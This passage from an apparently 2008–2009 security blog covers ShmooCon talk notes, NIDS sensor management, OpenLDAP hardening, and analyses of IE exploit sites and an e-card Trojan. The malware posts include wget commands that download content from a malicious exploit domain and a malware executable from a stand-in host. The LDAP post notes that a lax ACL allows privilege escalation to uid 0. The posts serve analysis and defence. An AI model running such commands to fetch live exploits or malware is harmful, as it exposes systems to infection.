Snort users are going to have to make sure to properly configure the new version. I know from the snort-users mailing list that far too many people use old versions of Snort, so this causes them problems. Realistically, there is usually no reason to use older versions rather than the latest stable release.

Emerging Threats distributes quite a few NetBIOS rules, so I'm sure the new preprocessor will also have an effect on Emerging Threats rules. I seriously doubt that either VRT or Emerging Threats wants to maintain a set of rules for 2.8.4 and above, plus another set for older versions. If I'm interpreting Nigel's blog post correctly, it seems that VRT is going to force the issue by only issuing new and updated NetBIOS rules for 2.8.4 and above. Assuming the improvements in the preprocessor are as stated, I think that is the right choice, but lots of users are going to complain.

Shmoocon 2009 Notes

2009-02-08T16:09:00.022-05:00

I attended Shmoocon V over the weekend and had a good time as usual. There are always interesting people, the usual suspects, and some good talks. I think Shmoocon is still a great conference for the money. The bags given to attendees this year were by far the best of the four years I've been. There were some very good entries to the Barcode Shmarcode contest and I also saw some entertaining runs through the lockpick contest.

These notes do not include every time slot.

Friday

1500: Bruce Potter started the con with his opening remarks. He said that Shmoocon added around 500 tickets this year, bringing the total number of attendees above 1600. To have enough space, they had to add another room down the hall from the main area. The satellite room was out of sight of the main area, but not too difficult to find. Potter said that moving to the next larger space available instead of adding the one room would have been overkill and cost too much for the number of attendees.

One of the things I really like about Shmoocon is their involvement in charities. As usual, tshirt proceeds went to charities, in this case the buyer's choice between the EFF and Johnny Long's Hackers for Charity. Shmoocon also had a raffle with proceeds going to Covenant House, as did the proceeds from the Hacker Arcade. It is nice to see Bruce and other Shmoocon organizers promoting charity among their peers.

Potter often will make a small comparison between Shmoocon and other conferences, and this year he mentioned other conferences charging large amounts for training. Conversely, at Shmoocon if you want to learn something in a non-classroom environment, you can try to participate in Shmoocon Labs to help build a functional enterprise-like environment rather than just slapping together a simple wireless network. As an example, this year they had an open wireless network, a WPA-enabled wireless network, and third using RADIUS. All attendees are welcome to walk through the room serving as their NOC and ask questions.

I really like The Shmoo Group's philosophy when it comes to running a conference. They try to be very transparent and take feedback, don't overcharge, and just generally want everyone to have a great time while still providing good technical content. It's a really attendee-friendly conference, right down to the 0wn the Con talk near the end.

Finally, Potter went on a rant about how security isn't working. Nothing to see here, move along. ;)

1600: The first technical talk I heard was Matt Davis and Ethan O'Toole presenting Open Vulture - Scavenging the Friendly Skies Open Source UAV Platform. Open Vulture is a software application and library designed to control unmanned vehicles. It was a neat talk though not a topic I know much about. Some of the possible uses for this would be controlling an unmanned vehicle to sniff wireless networks or take photos. They even have a GPS navigation module.

Saturday

Saturday is always the meat of the conference since it is the only full day and most people haven't been there long enough for the late nights to catch up to them.

1000: I enjoyed Matt Neely's presentation, Radio Reconnaisance in Penetration Testing. Matt had a lot of practical advice for radio reconnaisance, including recommending some relatively inexpensive hand-held scanners, the AOR 8200, Uniden Bearcat BCD396T, and the Uniden Bearcat SC230, which also happens to be a good choice for NASCAR. He pointed out what features to look for in scanners, for example channel memory.

His anecdotes from penetration tests included sniffing wireless headsets from blocks away, even when the phone is hung up. Apparently, many wireless headsets transmit constantly even if on the cradle, effectively functioning like a bug for eavesdropping. He has also used video converters when sniffing video.

When testing a client's casino, he visually scouted the location to help identify their hand-held radios, and then was able to get information from casino security through their radio communications, including their radio link to the police. He got a ton of information useful for social engineering and more, like guard names, the dispatcher's name, times of shift changes, and the lingo used by the guards.

At another client site, he noticed people using wireless headsets and got those added to the rules of engagement. Once they were added, he was able to eavesdrop on calls to the help desk for password resets, people calling their voicemail, and found that the headsets would keep transmitting even when the phone was hung up. Matt was able to get passwords, voicemail passwords, and assorted Personally Identifiable Information (PII) that was sensitive or could be used for social engineering. Rules of engagement and adhering to applicable laws are very important if you don't want to end up in jail after eavesdropping on voice communications.

I also talked to Neely the next day regarding learning about RF for a personal project I am interested in. He was very helpful and nice, just like most Shmoocon presenters I've ever spoken with. Hopefully, I will have time to start learning more about RF and playing around with it for a "fun" project.

1100: Next, I attended Fail 2.0: Further Musings on Attacking Social Networks presented by Nathan Hamiel and Shawn Moyer. Their talk was fun and definitely relevant. Their main focus was that "social engineering + vulnerabilities in social networks = ROI". They pointed out a number of ways to manipulate various social networking sites, including malicious code like IMG to CSRF, CSS javascript hijacking, and request forgeries (POST to GET).

One good anecdote was getting permission from Marcus Ranum to make a phony profile in his name and then using it to socially engineer others, particularly security professionals, on a social networking site. They actually got Ranum's sister to attempt to contact them through the phony profile.

Hamiel and Moyer demonstrated technical tricks to force someone to "friend" you and also posting a comment with code that will force the user to log out, effectively denial-of-servicing the person off his or her own profile. They also told anecdotes about posing as a recruiter, joining groups on LinkedIn so they could more easily build up a lot of connections, then looking for candidates with government security clearances and getting many responses to their inquiries.

1400: I skipped the 1200 talks to have a long lunch with some friends, then attended Jay Beale's Man in the Middling Everything with the Middler. The talk had a very slow start because of audience interaction, particularly involving Shmooballs and launchers.

Jay Beale's Middler is a tool to help leverage man-in-the-middle attacks, including injecting javascript, temporary or permanent redirects, session hijacking, and more. It seems like a neat tool and was released to the public at his talk. Jay pointed out some dangers of mixed HTTP and HTTPS sites and their vulnerabilities to things like injected javascript, stored session keys, intercepted logout requests, and replacing HTTPS links in proxied pages with HTTP links. Although the Middler has some specific support right now for attacking social networking sites and wide area sites like Google/GMail and live.com, it uses a plugin architecture so we should expect to see more plugins targeting specific sites.

1600: I had heard a good talk last year by Enno Rey and Daniel Mende, and combined with my focus on network security monitoring I definitely was interested in their presentation this year, Attacking backbone technologies. Their main focuses this year were BGP, MPLS, and Carrier Internet, one example of the latter being Carrier Ethernet. They were careful to point out that you really have to be part of the "old boys club" of trusted backbone providers to successfully use most of their attacks and that not just anyone would have enough access to core backbones to download their tools and use them for successful penetration testing or attacks.

For BGP, they mentioned that it is mostly manually configured, thus making it susceptible to simple mistakes like the famed AS7007 incident or the Youtube/Pakistan blocking incident. Rey and Mende also did a live demonstration using their "bgp_cli" tool to inject routes, and demonstrated how a single BGP packet signed with MD5 can be used to crack rather than brute forcing directly against a router that limits the number of attempts per second.

Multiprotocol Label Switching (MPLS) is deployed on carrier backbones and uses a trusted core assumption while attacks from outside the core are not possible. Rey and Mende demonstrated their "mpls_redirect" tool to modify MPLS Layer 3 VPN labels and redirect traffic. This is possible in part because of trusting carrier insiders and can be used to send traffic to different customer networks. Rey had a great line where we called it "branching" the traffic because he was told, due to his thick German accent, he should not use the word "forked" (or "fokt" as it sounded when he said it).

These two definitely are in a position to test the security of major providers from an insider perspective, which is not the norm, and they do a good job explaining some of the issues they find.

1700: David Kennedy's Fast-Track Suite: Advanced Penetration Techniques Made Easy was probably the most crowded presentation I attended. One suggestion I have for getting a good seat at Shmoocon is to plan your schedule ahead and note the presentations that are likely to be crowded. If you are not changing rooms, do not get up and lose your seat, because rooms definitely end up standing room only sometimes.

Kennedy was a good presenter. When you have fun on the podium, it definitely shows and keeps everyone attentive. He had a lot of audience participation as he showed a slide and said "Let's Pop a Box" each time before he used Fast-Track to own a system. When he started to forget "Let's Pop a Box," someone from the audience would invariably ask him if he forgot something or shout "Pop a Box!" as Kennedy did a face-palm.

Fast-Track itself is obviously pretty neat. He showed a variety of automated attacks against different targets that most often ended with a reverse shell back or reverse VNC back to his attacking system. He also talked about his evasion technique using Windows debug to download his stager, which is actually just a version of Windows debug without the 64k size limit.

Fast-Track 4.0 includes some new features like logging and payload conversion so you can load your own payloads to deliver. Although Fast-Track has a smaller list of exploits than Metasploit, Kennedy said that he strives to make them available across as many OS versions as possible. Version 4.0 also includes a mass client attack using ARP poisoning combined with emailed links to targets. The malicious page will display a generic "loading please wait..." message as it launches a multitude of attacks, but Kennedy said that 4.1 will also include browser profiling for more targeted exploits. One really nice feature is the auto-update to update a multitude of tools included in Fast-Track. Although I didn't look into it yet, I did wonder if it had any SNMP attacks and I think a SNMP auto-own attack would be a neat and not too complicated addition if it's not there yet.

Sunday

1000: I really feel for anyone in this time slot. After a weekend of hacking and partying, the number of people in any room is much smaller than the number of people at 1000 on Saturday. The numbers increase as people drag themselves into the talks through the hour.

I attended Re-Playing with (Blind) SQL Injection by Chema Alonso and Palako during this hour. I was starting to think I made the wrong choice because they started off slow and quite dry, but maybe they were included in the ones recovering from the previous night's festivities. By the second half, they started to have a little fun and had some funny moments, including a slide with, "Yes, we can!" Another funny moment was when they found a database username length of two and referred to it as "the most famous Microsoft SQL user..."

Although we've all probably seen or read about blind SQL injection before, they did have some interesting techniques and used their Marathon Tool to ease the tedious nature of blind SQL injection. One thing I liked was their method of using timing to seperate a True answer page from a False answer page if there is no visible or code difference. Most SQL engines have slightly different supported methods to introduce time-based blind SQL injection so a response that is timed above a certain value can be considered true. Even those that don't include time-delay functions can be leveraged with by running a "heavy" query only if a "light" query first returns as true. An example of a heavy query that would slow the response after a successful light query is multiple cross-table joins.

Alonso and Pakato also did a good job answering questions. They definitely seemed more comfortable by the end of their presentation.

1100: Chris Paget is a very entertaining presenter and clearly had fun showing off his RFID reader during EDL Cloning for Under $250. He demonstrated how easy it is to read, clone, and write RFID cards created as part of the Western Hemisphere Travel Initiative. By design, these cards are supposed to be readable from 30 feet but it is trivial to read them at more than 200 feet and much longer distances, possibly around half a mile, should be possible. The cards also have no encryption or authentication.

Paget was able to buy an enterprise-level card reader by Motorola on eBay. Although he needed to perform some repairs on the RFID reader, the whole sniffing setup was only around $250. The card reader has no real security mechanisms for logon and listens on port 3000.

There are no federal anti-skimming laws to prevent RFID skimming/sniffing, though CA and WA states do have laws. Paget was able to grab a lot of information through war driving with his setup and pointed out that correlation means the cards can provide more than just an anonymous number. For instance, if you detect the same card tag twice you could compare it to photos to see whose face you saw twice. You could also correlate against other data like credit cards containing RFID to figure out which data belonged to which person.

Eventually as RFID cards become more common, this could present more serious issues like collecting tons of RFID card data until you get one where the person's appearance is close enough that you could use his identity, or terrorists could use it to identify targets in a crowd.

Paget stated that the supposed purpose for the cards was to enhance security, which clearly is a failure, and also to speed border crossings, which also has been a failure since users still have to present their cards directly. Paget believes that WHTI is broken but that RealID could be an alternative if it was revamped to fix all the serious problems. Ideally, among other recommendations, he advocates a contact smartcard rather than one that can be read remotely.

Another Shmoocon in the books. Thanks to the Shmoo Group, speakers and attendees for a good time.

Old-fashioned spying

2009-01-28T05:50:00.005-05:00

Dave Aitel, who once worked at the NSA, had a funny email on his list that included a mention of Saubhe Aldellemy, who operated a restaurant near NSA headquarters and Ft. Meade. Aldellemy was charged and apparently accepted a plea agreement for acting as an unregistered foreign agent (PDF) of Iraq, which is essentially legal speak for spying on behalf of the Iraqi Intelligence Service.

Using a restaurant near desirable targets is a well known method of gathering intelligence. It has been going on for decades at the least, and possibly as long as restaurants and a desire for non-public information have existed. I expect that the method was used extensively in the post-WWII and Cold War era.

Ira Winkler, another former NSA employee, discusses the method in his book, Spies Among Us. Winkler also mentions a related method he uses when penetration testing, which is to go into restaurants near his target and take the business cards out of the fishbowls that a restaurant will set up for free drawings. Once he finds business cards from people at the target business, it gives him information to assist in social engineering and at times, in lieu of work identification, a business card can get him onto the grounds of the target business.

I suspect that spying against private entities is more attractive than it used to be, while spying against governments is still widespread. Whether it is for profit or government intelligence, you can bet that countries like the U.S.A., China, Russia, and many in the Middle East and EU all have programs like this. I also assume that at least some of the governments assist with spying against foreign corporations, not just government entities.

No matter the method of intelligence gathering, spying still goes on. Any company or government with sensitive information needs to be careful about methods like this. I have been in restaurants near government agencies, military bases and large companies, and they are definitely target-rich environments. Even the most paranoid and careful employees are likely to talk about something that could be useful to outsiders, either directly or to leverage additional information.

If you have information that is valuable enough, any company or entity that does not actually address the issue is asking for trouble.

Harlan Carvey's memory tool round-up

2009-01-07T05:33:00.004-05:00

Harlan Carvey has a good round-up of incident response tools for collection and analysis of physical memory. His blog is definitely a good read for security professionals, particularly those that do any incident response or forensics. He is really good at posting his analysis processes and explaining which tools he uses for which tasks.

This post is just a reminder to myself to try some of the tools on his list that I have not yet used and to look more deeply into the tools that I have used. I hope to play with a number of the tools in a lab environment.

December Dailydave; a recurring topic and 25C3

2009-01-02T00:12:00.008-05:00

I've posted links to Dailydave quite a few times. The month of December had the last discussion ^* on a recurring topic. It also had some good guesses beforehand then a discussion of the rogue CA attack that was presented at 25C3.

^* of 2008

IE exploits on the move

2008-12-29T15:33:00.004-05:00

It looks like the previously mentioned exploits for the latest IE vulnerability, and more, have moved to an additional domain. Everyone is probably seeing SQL injection attempts with obfuscated code similar to before, except now the referenced domain is mcuve.cn. As far as I can see, the site is hosting the same code that was hosted on the 17gamo site. A quick Google shows that a few sites have already been hit (and at least one other person has already blogged it).

Answers to NIDS management

2008-12-22T06:21:00.001-05:00

C.S. Lee had a post called NIDS: Administration, Management & Provisioning that asked some good questions about managing large numbers of NSM sensors. I have managed large numbers of sensors in the past, so thought I would take a shot at describing some of the ways I eased management as well as other methods I still look forward to trying. Since my post is long, I thought it better to write it here than stuff it all into a comment on geek00l's blog.

A couple of things to remember; first, there are almost always ways to improve complex systems management. Second, "perfect" is the enemy of "good enough". At some point you reach the point of diminishing returns, so the cost of additional improvement of the management or administration of the systems may not be worth the reward.

1. What tools do you use to manage all the NIDS, and why you choose them over others?
- For example ssh, however I would like to know more about tools you use to manage massive NIDS instead of one, and the reason you choose it.

SSH is obviously going to be one way to login to systems and do certain things. If it is something that you must do consistently, then scripts or other system management methods that I will discuss later are likely more appropriate. When using SSH for a large number of systems, don't forget that SSH keys and ssh-agent are your friend. With ssh-agent, you can login to all your systems with your SSH key after entering your passphrase only once. This simplifies running scripts that require logging into or copying files to each system.

Also, when I talk about using SSH along with scripts, I'm also talking about using programs that support SSH as the transport protocol, for example rsync and rdist. Expect scripts are also a common way to roll your own centralized management of systems, but for C.S. Lee's 50+ system question, a dedicated application seems to be a better answer than only using scripts and logging in manually.

2. How do you perform efficient administration securely? For examples,
- System changes/updates
- NIDS tools' changes/updates
- NIDS rules' changes/updates
- NIDS Configuration files' changes/updates
- NIDS Policies' changes/updates

I think these types of changes and updates will require a combination of tools, and the tools could depend in part on the operating system(s). If you have multiple operating systems then it also makes the management more complex, so ideally you want to standardize on an operating system as well as keeping the release versions identical whenever possible.

One thing I've mentioned in the past for system management is puppet.

Puppet lets you centrally manage every important aspect of your system using a cross-platform specification language that manages all the separate elements normally aggregated in different files, like users, cron jobs, and hosts, along with obviously discrete elements like packages, services, and files.

Although I haven't yet had the chance to use puppet, it seems to have a good reputation. Another option is cfengine, though most people I have talked to that have experience with both seem to prefer puppet. Change management of configuration files, cron scripts, and other files like NIDS rules can definitely be handled by one of these central management tools.

Another thing to consider is whether your operating system or its vendor includes anything for these tasks. For instance, Red Hat Network Satellite can handle a lot of centralized management, including package management. NIDS/NSM sensors often need configuration changes from the standard distribution package for certain software, so being able to roll your own packages and push them to sensors automatically can drastically reduce system management overhead.

Although puppet seems to handle users, I've also written three posts about OpenLDAP for centralized management of users and groups [1, 2, 3]. With most current Linux or BSD, once LDAP is configured it is pretty easy to manage users, groups, and even sudo. Since I've worked in environments with not just large numbers of Linux systems, but also large numbers of users, LDAP was definitely useful. With a small number of users on large number of systems, I'm not sure that it would be needed.

For the security requirement, any good centralized management system better have some sort of authentication and encryption. Puppet supports a CA and SSL, cfengine supports RSA and Blowfish along with public-private keys, and Red Hat Satellite suports SSL and GPG. Other basics including host-based firewalls like iptables can also be useful for limiting exposure and access from the network.

Truthfully, I have mostly relied on home-grown scripts combined with SSH, rsync and/or rdist to push files or commands to Linux systems. However, with the number of systems I have managed, the up-front cost of implementing something like puppet, cfengine, or Satellite would be worth the long-term benefits.

3. Which method you like to use in order to manage them, and why? For example,
- Server pushes rules update to all the sensors(Push)
- Sensors pull the rules update from server(Pull)

I think this question is largely moot because it will usually be determined by the management tools you are using. For instance, Red Hat runs a daemon on the individual systems that will check in either with Red Hat Network or with your local Satellite Network.

When using scripts, I will usually use a push simply because I like to login to one system then run the script that will connect to all the other systems to copy files or run a command.

3. NIDS health monitoring and self-healing
- I'm talking about something like this, if the system is in incosistent state, operators will be notified. If certain process die, it should recover by itself.

The obvious answer to monitoring processes is something like Nagios, an open source solution. Nagios can also handle restarting services or processes through event handlers. Realistically, any software that monitors services should have the ability to restart those services if needed. Another example of process monitoring and restarting is daemontools, but it does not really meet monitoring needs for an enterprise and is fairly limited. There are additional choices of monitoring software, as well.

IE vulnerability just one of many

2008-12-13T13:35:00.007-05:00

The latest IE "0day" is making big news. The bulletin now includes IE6, IE7, and IE8 beta. Looking at CVE-2008-4844 will give a decent round-up of related links. Shadowserver has a list of domains known to be using exploits that attack this vulnerability. Microsoft has some workarounds to help mitigate the vulnerability.

One thing to remember is that many malicious sites do not rely on one vulnerability. Don't let one high-profile vulnerability and news of exploits in the wild make you forget about the big picture. If a site is hosting exploits against this IE vulnerability, it is very likely the site will be hosting additional exploits.

One example is one of the highest profile domains hosting exploits, 17gamo[dot]com. The SQL attacks referenced on SANS are injecting a URI containing this malicious domain. As mentioned on SANS diary, the javascript in the injected URI leads to additional files on the malicious site. Although the SANS diary specifically mentions the IE exploit, it doesn't mention the other exploits.

Please remember the following site is malicious!

$ wget -r http://www.17gamo.com/co

After downloading the content, I change to the correct directory and see what is there:

$ ls co/
14.htm     flash.htm  ihhh.html   nct.htm     real.htm   swfobject.js
fhhh.html  ie7.htm    index.html  office.htm  real.html

The index file tries to open iframes containing 14.htm, flash.htm, ie7.htm, nct.htm, office.htm, real.htm and real.html. The flash.htm file then references ihhh.html and fhhh.html. We already know from the SANS diary what ie7.htm does.

It was nice of the file authors to use relevant names for some of the files. The flash.htm code references both ihhh.html and fhhh.html. Both these files look like they will serve up a Flash exploit of varying names depending what version of the Flash Player is detected. Downloading a couple of the SWF files, they are the same size but diff shows that they are not identical. They all seem to produce similar results on Virustotal.

The office.htm file appears to be an exploit targeting CVE-2008-2463, a MS Office Snapshot Viewer ActiveX vulnerability. If vulnerable, this will lead to the download of the same win.exe mentioned in the SANS diary and it looks like it will attempt to write the executable to the 'Startup' folder for All Users.

I haven't looked at real.htm, real.html, nct.htm or 14.htm yet.

This is all just to point out that most malicious sites these days will run a number of attacks against web clients, so just because one failed doesn't mean the others did the same. I saw a system get hit by the ie7.htm exploit without immediately downloading the win.exe from steoo[dot]com, yet it did run one of the malicious SWF files.

ArsTechnica Ovatio Awards posted

2008-12-04T05:40:00.007-05:00

ArsTechnica has some year-end awards, the Ovatio Awards, online. With any type of awards like this, there will be plenty of arguments about what is missed and what should not be on the list.

I find it interesting that none of the Year's Biggest Stories section includes anything directly related to security. If I was making a list (maybe I will?), I can think of a number of important stories related to security that had or will continue to have a huge impact. They did choose "cloud computing" as Buzzword of the Year, which I think is a good choice and is definitely a big topic on security blogs recently.

I can't say I understand the choice of PlayStation 3 as Product of the Year, but I haven't been a serious gamer for years, which may explain why I own a Wii. In addition to being launched more than two years ago, the PS3 doesn't seem particularly innovative and the price makes it a tough buy for a lot of people. Still, ArsTechnica is fairly focused on gaming so it may make some amount of sense. It will definitely get a lot of page views and some comments in their forum!

The Hardware Trend of the Year, netbooks, is definitely a good pick. Really, it seems like this is something customers have wanted for years and companies just didn't realize that there would be a big market even where traditional laptop sales were strong. I know that my laptop philosophy has light weight higher on my priorities list than performance. I don't mind a laptop as a desktop replacement around the house, but I sure don't want to travel with it if I have a lighter option.

The pick of OpenSUSE as a Linux Distro of the Year surprises me, but that may just show that I haven't used it in years. It may not have been part of their criteria, but if I had to pick a distribution with the most community and end-user impact, I would definitely have to say Ubuntu. There is no other distribution besides possibly Red Hat that has had as much name recognition among my non-technical friends and acquaintances. My 91-year-old neighbor even tried running Ubuntu on a live CD for a while because he was thinking of ditching Windows.

I enjoy reading year-end articles like the one posted at ArsTechnica because it gets me thinking about the topics I thought were important or significant over the past year.

Commodity malware versus custom exploits

2008-11-20T19:21:00.012-05:00

In my post about e-card Trojans, I mentioned that I hoped to flesh out my thoughts on malware as compared to more customized exploits. As we all should know from numerous stories, commodity malware is big business. Malware is increasingly used to steal information to turn a profit, and is likely being used to target information that is valuable in other ways. So my question is, in a world where the U.S. military has to ban USB drives to combat malware, how much trouble are customized private exploits actually worth?

There are certainly advantages to customized private exploits, but when a spammer only needs one response for every 12.5 million emails sent to be profitable, it seems that the economics of the situation may favor the lower cost of slightly modifying malware to bypass anti-virus software and then blasting away with malicious emails, advertisements, and other links.

A customized exploit that is only being used by a small number of people should obviously be more difficult to detect. However, when anti-virus and traditional IDS rely so thoroughly on signatures of known activity, the question is really about how difficult the attacker needs detection to be. In many cases, it may not be worth using a skilled attacker to craft a specific exploit when said attacker could be increasing the efficiency of more voluminous attacks.

Of course, this is not really an 'either' 'or' situation. Both types of attacks can effectively be used, and when combined they are probably both more effective. Sow mass confusion and panic with widespread malware attacks while performing more targeted attacks for particularly desirable information. Those playing defense will likely be busy scurrying after the malware while the targeted attacks fly in under the radar, especially in these economic times where security operations may be suffering from budget cuts.

I also don't mean to downplay the skill it takes to enumerate network services and write a custom exploit for one or more of those services on the spot. Relatively few people can do that, I am certainly not one of them, and in many cases it is virtually undetectable. At the same time, I often feel that those talented exploit writers and penetration testers give too little credit to the effectiveness of common malware. It seems to me that commodity malware has become quite effective at generating revenue and stealing information.

'Tis the season for E-card Trojans

2008-11-17T09:07:00.014-05:00

IP addresses and hostnames have been changed. Anyway, this is from a few days ago and it looks like the malware is no longer on the server. A user received an email with a link to a supposed holiday card...

Src IP:         10.1.1.18       (Unknown)
Dst IP:         192.168.31.250  (Unknown)
Src Port:               1461
Dst Port:               80
OS Fingerprint: 10.1.1.18:1461 - Windows XP SP1+, 2000 SP3 (2)
OS Fingerprint:   -> 192.168.31.250:80 (distance 7, link: ethernet/modem)

SRC: GET /ecard.exe HTTP/1.0
SRC: Accept: */*
SRC: Accept-Language: en-us
SRC: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.
1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
SRC: Host: fakeurl.info
SRC: Connection: Keep-Alive
SRC:
SRC:
DST: HTTP/1.1 200 OK
DST: Date: Wed, 12 Nov 2008 11:41:08 GMT
DST: Server: Apache/1.3.36 (Unix) mod_jk/1.2.14 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_b
wlimited/1.4 PHP/4.3.9 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.27 OpenSSL/0.9.7a
DST: Last-Modified: Wed, 12 Nov 2008 10:14:10 GMT
DST: ETag: "944cd-8688-491aac72"
DST: Accept-Ranges: bytes
DST: Content-Length: 34440
DST: Content-Type: application/octet-stream
DST: Connection: Keep-Alive
DST:
DST:
DST: MZ..............@.......@........L.!........................@...PE..L...UB.I...............
..........p................@.......................... .........................................
................................................................................................
.............................UPX0.....p..............................UPX1.......................
.........@...UPX2................................@..............................................
3.03.UPX!

The above is part of a Sguil transcript. I downloaded the file, took a brief look, then submitted it to VirusTotal.

$ cd malware
$ wget http://fakeurl.info/ecard.exe
---snip---
$ strings -n 3 -a ecard.exe | less
UPX0
UPX1
UPX2
3.03
UPX!
---snip---
XPTPSW
KERNEL32.DLL
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess

This is pretty run-of-the-mill malware that will get detected by Emerging Threats SID 2006434 when the executable is downloaded, but I guess people still fall for it. As Shirkdog so eloquently stated:

Do not click on unsolicited URLs, including those received in email, instant messages, web forums, or internet relay chat (IRC) channels.

People will never get it through their skulls that they SHOULD NOT click links. It is the reason we are all employed, because the user will always be there.

It's always amazing how few anti-virus engines will catch known malware. A system compromised this way also brings to my mind a comparison between common malware and novel or custom exploits that are not widely available. I plan to flesh out thoughts comparing the two at a later date.

OpenLDAP Security

2008-11-13T05:01:00.004-05:00

Since I have been doing a lot of system administration blogging lately and not much on security, I decided I should post something related to security even if it is still in reference to system configuration and administration. Despite being years old, many of the pages I found about LDAP and security were still pertinent, for example Security with LDAP. The OpenLDAP documentation has a whole section titled Security Considerations in addition to other sections throughout that address security.

The TLDR version of this post is that some of the defaults for OpenLDAP may not be secure, it is easy to make other configuration mistakes, and you should make sure to examine configurations, permissions, ACLs, and schemas with security in mind. Different distributions can have different defaults. If you are using LDAP for account information in particular, you need to be careful.

I will go over some specifics that I noticed, but I certainly won't cover everything. OpenLDAP can be configured to get a similar level of protection for account information compared to the standard Unix/Linux shadow files and actually makes some security-related tasks easier for an administrator, such as disabling accounts or enforcing password policies.

Encryption of Data and Authentication

The first and most obvious problem is that the default OpenLDAP configuration does not encrypt network activity. Whether you're using LDAP for account information or not, it is very likely that most people will not want their LDAP traffic going over the network unencrypted. OpenLDAP has support for TLS that makes it relatively easy to implement. Also important to note is that, though network activity is not protected by default, the minimum recommended authentication mechanism is SASL DIGEST-MD5.

The DIGEST-MD5 mechanism is the mandatory-to-implement authentication mechanism for LDAPv3. Though DIGEST-MD5 is not a strong authentication mechanism in comparison with trusted third party authentication systems (such as Kerberos or public key systems), it does offer significant protections against a number of attacks.

Another option, Kerberos, is also "highly recommended" for strong authentication services.

Passwords

When using OpenLDAP with nss_ldap and centralized accounts, if you're storing passwords in LDAP they should be stored as hashes, not plain text. This seems obvious, but it's important to understand how to generate the hashes with the 'slappasswd' command and then use 'ldapadd', 'ldapmodify' or a GUI LDAP management tool to put the hashes into LDAP. This is done when creating or altering accounts. The 'passwd' command will hash passwords automatically when users change their own passwords.

Different distributions have different default ACLs, but RHEL for example allows anonymous reads of LDAP by default and allows authenticated users read access to everything in another sample ACL included in the openldap-servers package. If you're going to store account information and passwords with LDAP, the access controls need to be changed to prevent both anonymous and authenticated users from viewing password hashes. As we all should know, all it takes to crack a password hash is an appropriate tool and processing time. Depending on the attacker's computing power, the password hashing algorithm and the actual password, cracking passwords can be extremely fast or very slow.

OpenLDAP supports a number of hashing algorithms and the default is to use {SSHA}, which is SHA-1 with a seed.

-h scheme
If -h is specified, one of the following RFC 2307 schemes may be specified: {CRYPT}, {MD5}, {SMD5}, {SSHA}, and {SHA}. The default is {SSHA}.
Note that scheme names may need to be protected, due to { and }, from expansion by the user's command interpreter.
{SHA} and {SSHA} use the SHA-1 algorithm (FIPS 160-1), the latter with a seed.
{MD5} and {SMD5} use the MD5 algorithm (RFC 1321), the latter with a seed.
{CRYPT} uses the crypt(3).
{CLEARTEXT} indicates that the new password should be added to userPassword as clear text.

This is fine when setting initial passwords, but you should note that the 'passwd' command on Linux systems will generally use MD5 or the 'crypt' function instead of SHA1, depending on system configuration.

ACL Problems

There can also be problems related to Access Control Lists for slapd. Red Hat's default configuration allows anonymous reads. Ubuntu's slapd.conf seems to have a much more secure default ACL. Below is RHEL5's default, which allows anonymous reads, user reads, but only the rootdn to write.

access to * by * read

The following is a sample configuration that is also included in the default slapd.conf on RHEL5, though it is commented out in favor of the above ACL. The danger with the following is that users still can read everything as well as write their own entries.

access to *
  by self write
  by users read
  by anonymous auth

Allowing users 'self write' to change their own entries is obviously a big problem if you're using LDAP for account information. Any user can change his own uidNumber or gidNumber to become uid 0, gid 0, gid 10 (wheel), etc. Not good!

To authenticate with nss_ldap, OpenLDAP must allow some sort of read access. Without anonymous reads, users can't authenticate unless there is a proxy user with read access. The proxy user's binddn and password must be in /etc/ldap.conf and /etc/openldap/ldap.conf in plain text and the files are world readable. This is somewhat mitigated because the ldap.conf files can only be accessed by authenticated users logged into the system, so if an attacker already gained access to the system the proxyuser password is a fairly trivial concern in the big scheme of things.

Another file with a plain text password is /etc/ldap.secret. This file must contain the rootdn password in plain text, but is again somewhat mitigated with file permissions. The permissions for the file must be set to 600 so only root can read the file, so the obvious way an attacker will get the rootdn password from the file is if he already has root privileges on that particular system. However, with the rootdn password the attacker could wreak havoc on all the LDAP entries, including all the account information stored in LDAP.

To prevent users from viewing the password hashes of others, two things are required. First, change the ACL in slapd.conf. Something like this would allow users to change their own passwords, but not any other attributes and not view other users' hashes. You can hide additional attributes from authenticated users if needed.

access to attrs=userpassword
  by anonymous auth
  by self write
  by * none

access to *
  by self read
  by users read
  by anonymous auth

Another important thing to do is put users in the objectclass 'shadowAccount', which is in the NIS schema along with the objectclass 'posixAccount' that stores most account information. This will prevent password hashes from displaying when using 'getent passwd'. This is similar to shadow passwords on the local system, which move the password hashes from the world-readable /etc/passwd to /etc/shadow, which is only readable by root. The 'getent' commands will fetch both local and LDAP information.

Password Policy Overlay

The password policy overlay for OpenLDAP allows password policies to be enforced on OpenLDAP accounts. Quoting from the documentation:

The key abilities of the password policy overlay are as follows:
Enforce a minimum length for new passwords
Make sure passwords are not changed too frequently
Cause passwords to expire, provide warnings before they need to be changed, and allow a fixed number of 'grace' logins to allow them to be changed after they have expired
Maintain a history of passwords to prevent password re-use
Prevent password guessing by locking a password for a specified period of time after repeated authentication failures
Force a password to be changed at the next authentication
Set an administrative lock on an account
Support multiple password policies on a default or a per-object basis.
Perform arbitrary quality checks using an external loadable module. This is a non-standard extension of the draft RFC.

Particularly for people that have specific company requirements for password policies, this overlay will do just about everything except complexity checking. For complexity checking, it's fairly easy to enable and configure pam_cracklib on each client. As far as I know, since only the hash crosses the wire when authenticating or changing passwords, it is not possible to centrally enforce complexity requirements.

Personally, for password expiration I prefer not to allow any grace logins, thereby enforcing a lockout if the password expires. As long as the policy is set to provide ample warning, this shouldn't cause problems. Consider if you allow some number of 'grace' logins after the password expires and for some reason a user does not login for an extended period of time. The account could conceivably remain active for as long as it takes to brute force the password rather than being disabled once the password expires.

Another password policy overlay feature is temporary lockouts after failed authentication. For instance, you could set a lockout after x login attempts in y seconds. The lockout can be z seconds. I don't know what the maximum number of seconds the overlay or OpenLDAP will accept, but it can definitely be zero up to months in seconds if needed for some fields like pwdMaxAge.

When enabing 'pwdReset' to require an immediate password change, I eventually found that the following line must be uncommented in slapd.conf.

pam_lookup_policy yes

After doing this, you can set 'pwdReset: TRUE' when generating temporary passwords, then the user will be required to change passwords immediately when logging in.

